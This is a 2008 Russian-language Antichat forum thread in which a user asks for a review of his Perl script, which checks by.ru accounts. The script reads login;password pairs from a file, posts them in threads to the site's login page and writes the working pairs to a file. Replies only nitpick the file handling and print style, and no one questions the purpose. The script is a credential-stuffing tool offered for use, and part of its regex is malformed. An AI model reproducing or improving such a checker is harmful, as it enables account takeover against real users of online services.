ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Оффтоп > Болталка
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

зацените скрипт на perl :)
  #1  
Старый 29.05.2008, 14:34
Аватар для $p01nt
$p01nt
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
Провел на форуме:
584540

Репутация: 96
Smile зацените скрипт на perl :)

Прошу оценить мой скрипт ... Скажите где и что можно подправить,где и что я не правильно сделал ... (скрипт рабочий, просто интересно насколько "красиво" я смог написать чекер акков )

##### Checker Account on By.RU coded by $p01nt;
#! usr/bin/perl

use strict;
use LWP;
use Thread;

### подпрограмма которая проверяет аккаунт на валидность

sub check {
open(VALIDE,">>valide.txt");
my ($login,$pass)=@_;
my $url='http://by.ru/login.cgi';
my $browser=LWP::UserAgent->new;
my $response=$browser->post($url,
[ 'login'=>$login,
'password'=>$pass,
'p2'=>'',
]
);

$response=$response->as_string;
my $tt=$response=~m/Location.*)\.cgi/;
my $checktext='http://by.ru/panel';
if ($tt!=$checktext){

print VALIDE $login,';',$pass;

}else{

}
close(VALIDE)
}

###получаем акки из текстового документа и проверяем их

open(ACC,"login");
my @accounts=<ACC>;
foreach(@accounts){
(my $login, my $pass) = split(';',$_);
$pass =~ s/ |\n//;
my $thread = Thread->new(\&check,$login,$pass, 5);
$_->join foreach($thread);
}

ЗЫ. не знал куда постить - поэтому он тут
 
Ответить с цитированием

  #2  
Старый 29.05.2008, 15:20
Аватар для Амелька
Амелька
Новичок
Регистрация: 22.05.2008
Сообщений: 1
Провел на форуме:
135817

Репутация: 36
Отправить сообщение для Амелька с помощью ICQ
По умолчанию

ооо...изумительный скрипт!...ты просто моСк=)
 
Ответить с цитированием

  #3  
Старый 29.05.2008, 15:23
Аватар для flabb
flabb
Новичок
Регистрация: 28.03.2008
Сообщений: 12
Провел на форуме:
55480

Репутация: 8
По умолчанию

open(ACC,"login");
желательно после открытия када-нить закрыть всё-таки файл ))
print VALIDE $login,';',$pass; смутило чуть....не проще: print VALIDE "$login;$pass\n";
 
Ответить с цитированием

  #4  
Старый 29.05.2008, 15:26
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

Цитата:
}else{

}
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
BookS: PHP, PERL, MySQL, JavaScript, HTML, ajax, Веб Дизайн M1nK0 PHP, PERL, MySQL, JavaScript 10 27.06.2009 21:35
Скрипт Perl: Узнавалка версии phpBB DetMyl PHP, PERL, MySQL, JavaScript 4 14.02.2006 00:48
Books Perl FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:58
Безопасность приложений на Perl k00p3r Чужие Статьи 0 12.06.2005 09:39



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ